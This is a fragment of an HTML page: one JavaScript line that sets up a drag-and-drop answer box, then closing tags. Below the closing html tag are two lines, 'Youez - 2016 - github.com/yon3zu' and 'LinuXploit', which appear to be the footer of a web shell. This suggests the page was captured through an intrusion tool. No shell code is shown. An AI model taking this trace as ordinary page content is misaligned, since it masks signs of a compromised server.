    webkit_drop.add('id_td_dropBox_Set2_no3_4', {onOver : function(){s_highlight('id_dropBox_Set2_no3_4')}, onOut : function(){s_un_highlight('id_dropBox_Set2_no3_4')}, onDrop : function(){DragDrop('id_dropBox_Set2_no3_4', 2, 3, ['id_span_set2_no3_1', 'id_span_set2_no3_2', 'id_span_set2_no3_3', 'id_span_set2_no3_4'])}});

</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit